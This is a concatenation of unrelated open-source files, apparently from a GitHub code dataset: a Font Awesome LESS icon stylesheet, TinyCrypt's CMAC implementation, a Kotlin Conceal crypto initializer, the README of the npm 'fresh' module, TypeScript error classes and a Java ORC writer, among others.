@fa-var-car; } .@{fa-css-prefix}-cab:before, .@{fa-css-prefix}-taxi:before { content: @fa-var-taxi; } .@{fa-css-prefix}-tree:before { content: @fa-var-tree; } .@{fa-css-prefix}-spotify:before { content: @fa-var-spotify; } .@{fa-css-prefix}-deviantart:before { content: @fa-var-deviantart; } .@{fa-css-prefix}-soundcloud:before { content: @fa-var-soundcloud; } .@{fa-css-prefix}-database:before { content: @fa-var-database; } .@{fa-css-prefix}-file-pdf-o:before { content: @fa-var-file-pdf-o; } .@{fa-css-prefix}-file-word-o:before { content: @fa-var-file-word-o; } .@{fa-css-prefix}-file-excel-o:before { content: @fa-var-file-excel-o; } .@{fa-css-prefix}-file-powerpoint-o:before { content: @fa-var-file-powerpoint-o; } .@{fa-css-prefix}-file-photo-o:before, .@{fa-css-prefix}-file-picture-o:before, .@{fa-css-prefix}-file-image-o:before { content: @fa-var-file-image-o; } .@{fa-css-prefix}-file-zip-o:before, .@{fa-css-prefix}-file-archive-o:before { content: @fa-var-file-archive-o; } .@{fa-css-prefix}-file-sound-o:before, .@{fa-css-prefix}-file-audio-o:before { content: @fa-var-file-audio-o; } .@{fa-css-prefix}-file-movie-o:before, .@{fa-css-prefix}-file-video-o:before { content: @fa-var-file-video-o; } .@{fa-css-prefix}-file-code-o:before { content: @fa-var-file-code-o; } .@{fa-css-prefix}-vine:before { content: @fa-var-vine; } .@{fa-css-prefix}-codepen:before { content: @fa-var-codepen; } .@{fa-css-prefix}-jsfiddle:before { content: @fa-var-jsfiddle; } .@{fa-css-prefix}-life-bouy:before, .@{fa-css-prefix}-life-buoy:before, .@{fa-css-prefix}-life-saver:before, .@{fa-css-prefix}-support:before, .@{fa-css-prefix}-life-ring:before { content: @fa-var-life-ring; } .@{fa-css-prefix}-circle-o-notch:before { content: @fa-var-circle-o-notch; } .@{fa-css-prefix}-ra:before, .@{fa-css-prefix}-rebel:before { content: @fa-var-rebel; } .@{fa-css-prefix}-ge:before, .@{fa-css-prefix}-empire:before { content: @fa-var-empire; } .@{fa-css-prefix}-git-square:before { content: @fa-var-git-square; } .@{fa-css-prefix}-git:before { content: @fa-var-git; } .@{fa-css-prefix}-y-combinator-square:before, .@{fa-css-prefix}-yc-square:before, .@{fa-css-prefix}-hacker-news:before { content: @fa-var-hacker-news; } .@{fa-css-prefix}-tencent-weibo:before { content: @fa-var-tencent-weibo; } .@{fa-css-prefix}-qq:before { content: @fa-var-qq; } .@{fa-css-prefix}-wechat:before, .@{fa-css-prefix}-weixin:before { content: @fa-var-weixin; } .@{fa-css-prefix}-send:before, .@{fa-css-prefix}-paper-plane:before { content: @fa-var-paper-plane; } .@{fa-css-prefix}-send-o:before, .@{fa-css-prefix}-paper-plane-o:before { content: @fa-var-paper-plane-o; } .@{fa-css-prefix}-history:before { content: @fa-var-history; } .@{fa-css-prefix}-circle-thin:before { content: @fa-var-circle-thin; } .@{fa-css-prefix}-header:before { content: @fa-var-header; } .@{fa-css-prefix}-paragraph:before { content: @fa-var-paragraph; } .@{fa-css-prefix}-sliders:before { content: @fa-var-sliders; } .@{fa-css-prefix}-share-alt:before { content: @fa-var-share-alt; } .@{fa-css-prefix}-share-alt-square:before { content: @fa-var-share-alt-square; } .@{fa-css-prefix}-bomb:before { content: @fa-var-bomb; } .@{fa-css-prefix}-soccer-ball-o:before, .@{fa-css-prefix}-futbol-o:before { content: @fa-var-futbol-o; } .@{fa-css-prefix}-tty:before { content: @fa-var-tty; } .@{fa-css-prefix}-binoculars:before { content: @fa-var-binoculars; } .@{fa-css-prefix}-plug:before { content: @fa-var-plug; } .@{fa-css-prefix}-slideshare:before { content: @fa-var-slideshare; } .@{fa-css-prefix}-twitch:before { content: @fa-var-twitch; } .@{fa-css-prefix}-yelp:before { content: @fa-var-yelp; } .@{fa-css-prefix}-newspaper-o:before { content: @fa-var-newspaper-o; } .@{fa-css-prefix}-wifi:before { content: @fa-var-wifi; } .@{fa-css-prefix}-calculator:before { content: @fa-var-calculator; } .@{fa-css-prefix}-paypal:before { content: @fa-var-paypal; } .@{fa-css-prefix}-google-wallet:before { content: @fa-var-google-wallet; } .@{fa-css-prefix}-cc-visa:before { content: @fa-var-cc-visa; } .@{fa-css-prefix}-cc-mastercard:before { content: @fa-var-cc-mastercard; } .@{fa-css-prefix}-cc-discover:before { content: @fa-var-cc-discover; } .@{fa-css-prefix}-cc-amex:before { content: @fa-var-cc-amex; } .@{fa-css-prefix}-cc-paypal:before { content: @fa-var-cc-paypal; } .@{fa-css-prefix}-cc-stripe:before { content: @fa-var-cc-stripe; } .@{fa-css-prefix}-bell-slash:before { content: @fa-var-bell-slash; } .@{fa-css-prefix}-bell-slash-o:before { content: @fa-var-bell-slash-o; } .@{fa-css-prefix}-trash:before { content: @fa-var-trash; } .@{fa-css-prefix}-copyright:before { content: @fa-var-copyright; } .@{fa-css-prefix}-at:before { content: @fa-var-at; } .@{fa-css-prefix}-eyedropper:before { content: @fa-var-eyedropper; } .@{fa-css-prefix}-paint-brush:before { content: @fa-var-paint-brush; } .@{fa-css-prefix}-birthday-cake:before { content: @fa-var-birthday-cake; } .@{fa-css-prefix}-area-chart:before { content: @fa-var-area-chart; } .@{fa-css-prefix}-pie-chart:before { content: @fa-var-pie-chart; } .@{fa-css-prefix}-line-chart:before { content: @fa-var-line-chart; } .@{fa-css-prefix}-lastfm:before { content: @fa-var-lastfm; } .@{fa-css-prefix}-lastfm-square:before { content: @fa-var-lastfm-square; } .@{fa-css-prefix}-toggle-off:before { content: @fa-var-toggle-off; } .@{fa-css-prefix}-toggle-on:before { content: @fa-var-toggle-on; } .@{fa-css-prefix}-bicycle:before { content: @fa-var-bicycle; } .@{fa-css-prefix}-bus:before { content: @fa-var-bus; } .@{fa-css-prefix}-ioxhost:before { content: @fa-var-ioxhost; } .@{fa-css-prefix}-angellist:before { content: @fa-var-angellist; } .@{fa-css-prefix}-cc:before { content: @fa-var-cc; } .@{fa-css-prefix}-shekel:before, .@{fa-css-prefix}-sheqel:before, .@{fa-css-prefix}-ils:before { content: @fa-var-ils; } .@{fa-css-prefix}-meanpath:before { content: @fa-var-meanpath; } .@{fa-css-prefix}-buysellads:before { content: @fa-var-buysellads; } .@{fa-css-prefix}-connectdevelop:before { content: @fa-var-connectdevelop; } .@{fa-css-prefix}-dashcube:before { content: @fa-var-dashcube; } .@{fa-css-prefix}-forumbee:before { content: @fa-var-forumbee; } .@{fa-css-prefix}-leanpub:before { content: @fa-var-leanpub; } .@{fa-css-prefix}-sellsy:before { content: @fa-var-sellsy; } .@{fa-css-prefix}-shirtsinbulk:before { content: @fa-var-shirtsinbulk; } .@{fa-css-prefix}-simplybuilt:before { content: @fa-var-simplybuilt; } .@{fa-css-prefix}-skyatlas:before { content: @fa-var-skyatlas; } .@{fa-css-prefix}-cart-plus:before { content: @fa-var-cart-plus; } .@{fa-css-prefix}-cart-arrow-down:before { content: @fa-var-cart-arrow-down; } .@{fa-css-prefix}-diamond:before { content: @fa-var-diamond; } .@{fa-css-prefix}-ship:before { content: @fa-var-ship; } .@{fa-css-prefix}-user-secret:before { content: @fa-var-user-secret; } .@{fa-css-prefix}-motorcycle:before { content: @fa-var-motorcycle; } .@{fa-css-prefix}-street-view:before { content: @fa-var-street-view; } .@{fa-css-prefix}-heartbeat:before { content: @fa-var-heartbeat; } .@{fa-css-prefix}-venus:before { content: @fa-var-venus; } .@{fa-css-prefix}-mars:before { content: @fa-var-mars; } .@{fa-css-prefix}-mercury:before { content: @fa-var-mercury; } .@{fa-css-prefix}-intersex:before, .@{fa-css-prefix}-transgender:before { content: @fa-var-transgender; } .@{fa-css-prefix}-transgender-alt:before { content: @fa-var-transgender-alt; } .@{fa-css-prefix}-venus-double:before { content: @fa-var-venus-double; } .@{fa-css-prefix}-mars-double:before { content: @fa-var-mars-double; } .@{fa-css-prefix}-venus-mars:before { content: @fa-var-venus-mars; } .@{fa-css-prefix}-mars-stroke:before { content: @fa-var-mars-stroke; } .@{fa-css-prefix}-mars-stroke-v:before { content: @fa-var-mars-stroke-v; } .@{fa-css-prefix}-mars-stroke-h:before { content: @fa-var-mars-stroke-h; } .@{fa-css-prefix}-neuter:before { content: @fa-var-neuter; } .@{fa-css-prefix}-genderless:before { content: @fa-var-genderless; } .@{fa-css-prefix}-facebook-official:before { content: @fa-var-facebook-official; } .@{fa-css-prefix}-pinterest-p:before { content: @fa-var-pinterest-p; } .@{fa-css-prefix}-whatsapp:before { content: @fa-var-whatsapp; } .@{fa-css-prefix}-server:before { content: @fa-var-server; } .@{fa-css-prefix}-user-plus:before { content: @fa-var-user-plus; } .@{fa-css-prefix}-user-times:before { content: @fa-var-user-times; } .@{fa-css-prefix}-hotel:before, .@{fa-css-prefix}-bed:before { content: @fa-var-bed; } .@{fa-css-prefix}-viacoin:before { content: @fa-var-viacoin; } .@{fa-css-prefix}-train:before { content: @fa-var-train; } .@{fa-css-prefix}-subway:before { content: @fa-var-subway; } .@{fa-css-prefix}-medium:before { content: @fa-var-medium; } .@{fa-css-prefix}-yc:before, .@{fa-css-prefix}-y-combinator:before { content: @fa-var-y-combinator; } .@{fa-css-prefix}-optin-monster:before { content: @fa-var-optin-monster; } .@{fa-css-prefix}-opencart:before { content: @fa-var-opencart; } .@{fa-css-prefix}-expeditedssl:before { content: @fa-var-expeditedssl; } .@{fa-css-prefix}-battery-4:before, .@{fa-css-prefix}-battery-full:before { content: @fa-var-battery-full; } .@{fa-css-prefix}-battery-3:before, .@{fa-css-prefix}-battery-three-quarters:before { content: @fa-var-battery-three-quarters; } .@{fa-css-prefix}-battery-2:before, .@{fa-css-prefix}-battery-half:before { content: @fa-var-battery-half; } .@{fa-css-prefix}-battery-1:before, .@{fa-css-prefix}-battery-quarter:before { content: @fa-var-battery-quarter; } .@{fa-css-prefix}-battery-0:before, .@{fa-css-prefix}-battery-empty:before { content: @fa-var-battery-empty; } .@{fa-css-prefix}-mouse-pointer:before { content: @fa-var-mouse-pointer; } .@{fa-css-prefix}-i-cursor:before { content: @fa-var-i-cursor; } .@{fa-css-prefix}-object-group:before { content: @fa-var-object-group; } .@{fa-css-prefix}-object-ungroup:before { content: @fa-var-object-ungroup; } .@{fa-css-prefix}-sticky-note:before { content: @fa-var-sticky-note; } .@{fa-css-prefix}-sticky-note-o:before { content: @fa-var-sticky-note-o; } .@{fa-css-prefix}-cc-jcb:before { content: @fa-var-cc-jcb; } .@{fa-css-prefix}-cc-diners-club:before { content: @fa-var-cc-diners-club; } .@{fa-css-prefix}-clone:before { content: @fa-var-clone; } .@{fa-css-prefix}-balance-scale:before { content: @fa-var-balance-scale; } .@{fa-css-prefix}-hourglass-o:before { content: @fa-var-hourglass-o; } .@{fa-css-prefix}-hourglass-1:before, .@{fa-css-prefix}-hourglass-start:before { content: @fa-var-hourglass-start; } .@{fa-css-prefix}-hourglass-2:before, .@{fa-css-prefix}-hourglass-half:before { content: @fa-var-hourglass-half; } .@{fa-css-prefix}-hourglass-3:before, .@{fa-css-prefix}-hourglass-end:before { content: @fa-var-hourglass-end; } .@{fa-css-prefix}-hourglass:before { content: @fa-var-hourglass; } .@{fa-css-prefix}-hand-grab-o:before, .@{fa-css-prefix}-hand-rock-o:before { content: @fa-var-hand-rock-o; } .@{fa-css-prefix}-hand-stop-o:before, .@{fa-css-prefix}-hand-paper-o:before { content: @fa-var-hand-paper-o; } .@{fa-css-prefix}-hand-scissors-o:before { content: @fa-var-hand-scissors-o; } .@{fa-css-prefix}-hand-lizard-o:before { content: @fa-var-hand-lizard-o; } .@{fa-css-prefix}-hand-spock-o:before { content: @fa-var-hand-spock-o; } .@{fa-css-prefix}-hand-pointer-o:before { content: @fa-var-hand-pointer-o; } .@{fa-css-prefix}-hand-peace-o:before { content: @fa-var-hand-peace-o; } .@{fa-css-prefix}-trademark:before { content: @fa-var-trademark; } .@{fa-css-prefix}-registered:before { content: @fa-var-registered; } .@{fa-css-prefix}-creative-commons:before { content: @fa-var-creative-commons; } .@{fa-css-prefix}-gg:before { content: @fa-var-gg; } .@{fa-css-prefix}-gg-circle:before { content: @fa-var-gg-circle; } .@{fa-css-prefix}-tripadvisor:before { content: @fa-var-tripadvisor; } .@{fa-css-prefix}-odnoklassniki:before { content: @fa-var-odnoklassniki; } .@{fa-css-prefix}-odnoklassniki-square:before { content: @fa-var-odnoklassniki-square; } .@{fa-css-prefix}-get-pocket:before { content: @fa-var-get-pocket; } .@{fa-css-prefix}-wikipedia-w:before { content: @fa-var-wikipedia-w; } .@{fa-css-prefix}-safari:before { content: @fa-var-safari; } .@{fa-css-prefix}-chrome:before { content: @fa-var-chrome; } .@{fa-css-prefix}-firefox:before { content: @fa-var-firefox; } .@{fa-css-prefix}-opera:before { content: @fa-var-opera; } .@{fa-css-prefix}-internet-explorer:before { content: @fa-var-internet-explorer; } .@{fa-css-prefix}-tv:before, .@{fa-css-prefix}-television:before { content: @fa-var-television; } .@{fa-css-prefix}-contao:before { content: @fa-var-contao; } .@{fa-css-prefix}-500px:before { content: @fa-var-500px; } .@{fa-css-prefix}-amazon:before { content: @fa-var-amazon; } .@{fa-css-prefix}-calendar-plus-o:before { content: @fa-var-calendar-plus-o; } .@{fa-css-prefix}-calendar-minus-o:before { content: @fa-var-calendar-minus-o; } .@{fa-css-prefix}-calendar-times-o:before { content: @fa-var-calendar-times-o; } .@{fa-css-prefix}-calendar-check-o:before { content: @fa-var-calendar-check-o; } .@{fa-css-prefix}-industry:before { content: @fa-var-industry; } .@{fa-css-prefix}-map-pin:before { content: @fa-var-map-pin; } .@{fa-css-prefix}-map-signs:before { content: @fa-var-map-signs; } .@{fa-css-prefix}-map-o:before { content: @fa-var-map-o; } .@{fa-css-prefix}-map:before { content: @fa-var-map; } .@{fa-css-prefix}-commenting:before { content: @fa-var-commenting; } .@{fa-css-prefix}-commenting-o:before { content: @fa-var-commenting-o; } .@{fa-css-prefix}-houzz:before { content: @fa-var-houzz; } .@{fa-css-prefix}-vimeo:before { content: @fa-var-vimeo; } .@{fa-css-prefix}-black-tie:before { content: @fa-var-black-tie; } .@{fa-css-prefix}-fonticons:before { content: @fa-var-fonticons; } .@{fa-css-prefix}-reddit-alien:before { content: @fa-var-reddit-alien; } .@{fa-css-prefix}-edge:before { content: @fa-var-edge; } .@{fa-css-prefix}-credit-card-alt:before { content: @fa-var-credit-card-alt; } .@{fa-css-prefix}-codiepie:before { content: @fa-var-codiepie; } .@{fa-css-prefix}-modx:before { content: @fa-var-modx; } .@{fa-css-prefix}-fort-awesome:before { content: @fa-var-fort-awesome; } .@{fa-css-prefix}-usb:before { content: @fa-var-usb; } .@{fa-css-prefix}-product-hunt:before { content: @fa-var-product-hunt; } .@{fa-css-prefix}-mixcloud:before { content: @fa-var-mixcloud; } .@{fa-css-prefix}-scribd:before { content: @fa-var-scribd; } .@{fa-css-prefix}-pause-circle:before { content: @fa-var-pause-circle; } .@{fa-css-prefix}-pause-circle-o:before { content: @fa-var-pause-circle-o; } .@{fa-css-prefix}-stop-circle:before { content: @fa-var-stop-circle; } .@{fa-css-prefix}-stop-circle-o:before { content: @fa-var-stop-circle-o; } .@{fa-css-prefix}-shopping-bag:before { content: @fa-var-shopping-bag; } .@{fa-css-prefix}-shopping-basket:before { content: @fa-var-shopping-basket; } .@{fa-css-prefix}-hashtag:before { content: @fa-var-hashtag; } .@{fa-css-prefix}-bluetooth:before { content: @fa-var-bluetooth; } .@{fa-css-prefix}-bluetooth-b:before { content: @fa-var-bluetooth-b; } .@{fa-css-prefix}-percent:before { content: @fa-var-percent; }
{ "pile_set_name": "Github" }
package com.lyrebirdstudio.fileboxlib.security import android.content.Context import com.facebook.android.crypto.keychain.AndroidConceal import com.facebook.android.crypto.keychain.SharedPrefsBackedKeyChain import com.facebook.crypto.Crypto import com.facebook.crypto.CryptoConfig import com.facebook.soloader.SoLoader internal object ConcealInitializer { private var isNativeLoaderInitialized = false private var crypto: Crypto? = null @Synchronized fun initialize(context: Context): Crypto { if (isNativeLoaderInitialized.not()) { isNativeLoaderInitialized = try { SoLoader.init(context, false) true } catch (e: Exception) { false } } if (crypto == null) { val keyChain = SharedPrefsBackedKeyChain(context, CryptoConfig.KEY_256) crypto = AndroidConceal.get().createDefaultCrypto(keyChain) } return crypto!! } fun isInitialized(): Boolean { return isNativeLoaderInitialized && crypto != null } }
{ "pile_set_name": "Github" }
/* cmac_mode.c - TinyCrypt CMAC mode implementation */ /* * Copyright (C) 2017 by Intel Corporation, All Rights Reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * - Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * - Neither the name of Intel Corporation nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include <tinycrypt/aes.h> #include <tinycrypt/cmac_mode.h> #include <tinycrypt/constants.h> #include <tinycrypt/utils.h> /* max number of calls until change the key (2^48).*/ const static uint64_t MAX_CALLS = ((uint64_t)1 << 48); /* * gf_wrap -- In our implementation, GF(2^128) is represented as a 16 byte * array with byte 0 the most significant and byte 15 the least significant. * High bit carry reduction is based on the primitive polynomial * * X^128 + X^7 + X^2 + X + 1, * * which leads to the reduction formula X^128 = X^7 + X^2 + X + 1. Indeed, * since 0 = (X^128 + X^7 + X^2 + 1) mod (X^128 + X^7 + X^2 + X + 1) and since * addition of polynomials with coefficients in Z/Z(2) is just XOR, we can * add X^128 to both sides to get * * X^128 = (X^7 + X^2 + X + 1) mod (X^128 + X^7 + X^2 + X + 1) * * and the coefficients of the polynomial on the right hand side form the * string 1000 0111 = 0x87, which is the value of gf_wrap. * * This gets used in the following way. Doubling in GF(2^128) is just a left * shift by 1 bit, except when the most significant bit is 1. In the latter * case, the relation X^128 = X^7 + X^2 + X + 1 says that the high order bit * that overflows beyond 128 bits can be replaced by addition of * X^7 + X^2 + X + 1 <--> 0x87 to the low order 128 bits. Since addition * in GF(2^128) is represented by XOR, we therefore only have to XOR 0x87 * into the low order byte after a left shift when the starting high order * bit is 1. */ const unsigned char gf_wrap = 0x87; /* * assumes: out != NULL and points to a GF(2^n) value to receive the * doubled value; * in != NULL and points to a 16 byte GF(2^n) value * to double; * the in and out buffers do not overlap. * effects: doubles the GF(2^n) value pointed to by "in" and places * the result in the GF(2^n) value pointed to by "out." */ void gf_double(uint8_t *out, uint8_t *in) { /* start with low order byte */ uint8_t *x = in + (TC_AES_BLOCK_SIZE - 1); /* if msb == 1, we need to add the gf_wrap value, otherwise add 0 */ uint8_t carry = (in[0] >> 7) ? gf_wrap : 0; out += (TC_AES_BLOCK_SIZE - 1); for (;;) { *out-- = (*x << 1) ^ carry; if (x == in) { break; } carry = *x-- >> 7; } } int tc_cmac_setup(TCCmacState_t s, const uint8_t *key, TCAesKeySched_t sched) { /* input sanity check: */ if (s == (TCCmacState_t) 0 || key == (const uint8_t *) 0) { return TC_CRYPTO_FAIL; } /* put s into a known state */ _set(s, 0, sizeof(*s)); s->sched = sched; /* configure the encryption key used by the underlying block cipher */ tc_aes128_set_encrypt_key(s->sched, key); /* compute s->K1 and s->K2 from s->iv using s->keyid */ _set(s->iv, 0, TC_AES_BLOCK_SIZE); tc_aes_encrypt(s->iv, s->iv, s->sched); gf_double (s->K1, s->iv); gf_double (s->K2, s->K1); /* reset s->iv to 0 in case someone wants to compute now */ tc_cmac_init(s); return TC_CRYPTO_SUCCESS; } int tc_cmac_erase(TCCmacState_t s) { if (s == (TCCmacState_t) 0) { return TC_CRYPTO_FAIL; } /* destroy the current state */ _set(s, 0, sizeof(*s)); return TC_CRYPTO_SUCCESS; } int tc_cmac_init(TCCmacState_t s) { /* input sanity check: */ if (s == (TCCmacState_t) 0) { return TC_CRYPTO_FAIL; } /* CMAC starts with an all zero initialization vector */ _set(s->iv, 0, TC_AES_BLOCK_SIZE); /* and the leftover buffer is empty */ _set(s->leftover, 0, TC_AES_BLOCK_SIZE); s->leftover_offset = 0; /* Set countdown to max number of calls allowed before re-keying: */ s->countdown = MAX_CALLS; return TC_CRYPTO_SUCCESS; } int tc_cmac_update(TCCmacState_t s, const uint8_t *data, size_t data_length) { unsigned int i; /* input sanity check: */ if (s == (TCCmacState_t) 0) { return TC_CRYPTO_FAIL; } if (data_length == 0) { return TC_CRYPTO_SUCCESS; } if (data == (const uint8_t *) 0) { return TC_CRYPTO_FAIL; } if (s->countdown == 0) { return TC_CRYPTO_FAIL; } s->countdown--; if (s->leftover_offset > 0) { /* last data added to s didn't end on a TC_AES_BLOCK_SIZE byte boundary */ size_t remaining_space = TC_AES_BLOCK_SIZE - s->leftover_offset; if (data_length < remaining_space) { /* still not enough data to encrypt this time either */ _copy(&s->leftover[s->leftover_offset], data_length, data, data_length); s->leftover_offset += data_length; return TC_CRYPTO_SUCCESS; } /* leftover block is now full; encrypt it first */ _copy(&s->leftover[s->leftover_offset], remaining_space, data, remaining_space); data_length -= remaining_space; data += remaining_space; s->leftover_offset = 0; for (i = 0; i < TC_AES_BLOCK_SIZE; ++i) { s->iv[i] ^= s->leftover[i]; } tc_aes_encrypt(s->iv, s->iv, s->sched); } /* CBC encrypt each (except the last) of the data blocks */ while (data_length > TC_AES_BLOCK_SIZE) { for (i = 0; i < TC_AES_BLOCK_SIZE; ++i) { s->iv[i] ^= data[i]; } tc_aes_encrypt(s->iv, s->iv, s->sched); data += TC_AES_BLOCK_SIZE; data_length -= TC_AES_BLOCK_SIZE; } if (data_length > 0) { /* save leftover data for next time */ _copy(s->leftover, data_length, data, data_length); s->leftover_offset = data_length; } return TC_CRYPTO_SUCCESS; } int tc_cmac_final(uint8_t *tag, TCCmacState_t s) { uint8_t *k; unsigned int i; /* input sanity check: */ if (tag == (uint8_t *) 0 || s == (TCCmacState_t) 0) { return TC_CRYPTO_FAIL; } if (s->leftover_offset == TC_AES_BLOCK_SIZE) { /* the last message block is a full-sized block */ k = (uint8_t *) s->K1; } else { /* the final message block is not a full-sized block */ size_t remaining = TC_AES_BLOCK_SIZE - s->leftover_offset; _set(&s->leftover[s->leftover_offset], 0, remaining); s->leftover[s->leftover_offset] = TC_CMAC_PADDING; k = (uint8_t *) s->K2; } for (i = 0; i < TC_AES_BLOCK_SIZE; ++i) { s->iv[i] ^= s->leftover[i] ^ k[i]; } tc_aes_encrypt(tag, s->iv, s->sched); /* erasing state: */ tc_cmac_erase(s); return TC_CRYPTO_SUCCESS; }
{ "pile_set_name": "Github" }
#ifndef _INCLUDE_COMMON_H #define _INCLUDE_COMMON_H #include <stdio.h> #include <stdlib.h> #include <stdint.h> typedef struct vm VM; typedef struct parser Parser; typedef struct class Class; #define bool char #define true 1 #define false 0 #define UNUSED __attribute__ ((unused)) #ifdef DEBUG #define ASSERT(condition, errMsg) \ do {\ if (!(condition)) {\ fprintf(stderr, "ASSERT failed! %s:%d In function %s(): %s\n", \ __FILE__, __LINE__, __func__, errMsg); \ abort();\ }\ } while (0); #else #define ASSERT(condition, errMsg) ((void)0) #endif #define NOT_REACHED()\ do {\ fprintf(stderr, "NOT_REACHED: %s:%d In function %s()\n", \ __FILE__, __LINE__, __func__);\ while (1);\ } while (0); #endif
{ "pile_set_name": "Github" }
# fresh [![NPM Version][npm-image]][npm-url] [![NPM Downloads][downloads-image]][downloads-url] [![Node.js Version][node-version-image]][node-version-url] [![Build Status][travis-image]][travis-url] [![Test Coverage][coveralls-image]][coveralls-url] HTTP response freshness testing ## Installation This is a [Node.js](https://nodejs.org/en/) module available through the [npm registry](https://www.npmjs.com/). Installation is done using the [`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally): ``` $ npm install fresh ``` ## API <!-- eslint-disable no-unused-vars --> ```js var fresh = require('fresh') ``` ### fresh(reqHeaders, resHeaders) Check freshness of the response using request and response headers. When the response is still "fresh" in the client's cache `true` is returned, otherwise `false` is returned to indicate that the client cache is now stale and the full response should be sent. When a client sends the `Cache-Control: no-cache` request header to indicate an end-to-end reload request, this module will return `false` to make handling these requests transparent. ## Known Issues This module is designed to only follow the HTTP specifications, not to work-around all kinda of client bugs (especially since this module typically does not recieve enough information to understand what the client actually is). There is a known issue that in certain versions of Safari, Safari will incorrectly make a request that allows this module to validate freshness of the resource even when Safari does not have a representation of the resource in the cache. The module [jumanji](https://www.npmjs.com/package/jumanji) can be used in an Express application to work-around this issue and also provides links to further reading on this Safari bug. ## Example ### API usage <!-- eslint-disable no-redeclare, no-undef --> ```js var reqHeaders = { 'if-none-match': '"foo"' } var resHeaders = { 'etag': '"bar"' } fresh(reqHeaders, resHeaders) // => false var reqHeaders = { 'if-none-match': '"foo"' } var resHeaders = { 'etag': '"foo"' } fresh(reqHeaders, resHeaders) // => true ``` ### Using with Node.js http server ```js var fresh = require('fresh') var http = require('http') var server = http.createServer(function (req, res) { // perform server logic // ... including adding ETag / Last-Modified response headers if (isFresh(req, res)) { // client has a fresh copy of resource res.statusCode = 304 res.end() return } // send the resource res.statusCode = 200 res.end('hello, world!') }) function isFresh (req, res) { return fresh(req.headers, { 'etag': res.getHeader('ETag'), 'last-modified': res.getHeader('Last-Modified') }) } server.listen(3000) ``` ## License [MIT](LICENSE) [npm-image]: https://img.shields.io/npm/v/fresh.svg [npm-url]: https://npmjs.org/package/fresh [node-version-image]: https://img.shields.io/node/v/fresh.svg [node-version-url]: https://nodejs.org/en/ [travis-image]: https://img.shields.io/travis/jshttp/fresh/master.svg [travis-url]: https://travis-ci.org/jshttp/fresh [coveralls-image]: https://img.shields.io/coveralls/jshttp/fresh/master.svg [coveralls-url]: https://coveralls.io/r/jshttp/fresh?branch=master [downloads-image]: https://img.shields.io/npm/dm/fresh.svg [downloads-url]: https://npmjs.org/package/fresh
{ "pile_set_name": "Github" }
//流程模块【carmby.车辆保养】下录入页面自定义js页面,初始函数 function initbodys(){ }
{ "pile_set_name": "Github" }
/** * The error that is thrown when an argument passed in is null. * * @export * @class ArgumentNullError * @extends {Error} */ export class ArgumentNullError extends Error { /** * Creates an instance of ArgumentNullError. * * @param {string} argumentName Name of the argument that is null * * @memberOf ArgumentNullError */ public constructor(argumentName: string) { super(argumentName); this.name = "ArgumentNull"; this.message = argumentName; } } /** * The error that is thrown when an invalid operation is performed in the code. * * @export * @class InvalidOperationError * @extends {Error} */ // tslint:disable-next-line:max-classes-per-file export class InvalidOperationError extends Error { /** * Creates an instance of InvalidOperationError. * * @param {string} error The error * * @memberOf InvalidOperationError */ public constructor(error: string) { super(error); this.name = "InvalidOperation"; this.message = error; } } /** * The error that is thrown when an object is disposed. * * @export * @class ObjectDisposedError * @extends {Error} */ // tslint:disable-next-line:max-classes-per-file export class ObjectDisposedError extends Error { /** * Creates an instance of ObjectDisposedError. * * @param {string} objectName The object that is disposed * @param {string} error The error * * @memberOf ObjectDisposedError */ public constructor(objectName: string, error?: string) { super(error); this.name = objectName + "ObjectDisposed"; this.message = error; } }
{ "pile_set_name": "Github" }
/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.orc.bench.core.convert.orc; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.Path; import org.apache.hadoop.hive.ql.exec.vector.VectorizedRowBatch; import org.apache.orc.OrcFile; import org.apache.orc.TypeDescription; import org.apache.orc.Writer; import org.apache.orc.bench.core.convert.BatchWriter; import org.apache.orc.bench.core.CompressionKind; import org.apache.orc.bench.core.Utilities; import java.io.IOException; public class OrcWriter implements BatchWriter { private final Writer writer; public OrcWriter(Path path, TypeDescription schema, Configuration conf, CompressionKind compression ) throws IOException { writer = OrcFile.createWriter(path, OrcFile.writerOptions(conf) .setSchema(schema) .compress(Utilities.getCodec(compression))); } public void writeBatch(VectorizedRowBatch batch) throws IOException { writer.addRowBatch(batch); } public void close() throws IOException { writer.close(); } }
{ "pile_set_name": "Github" }
package codec //go:generate bash prebuild.sh
{ "pile_set_name": "Github" }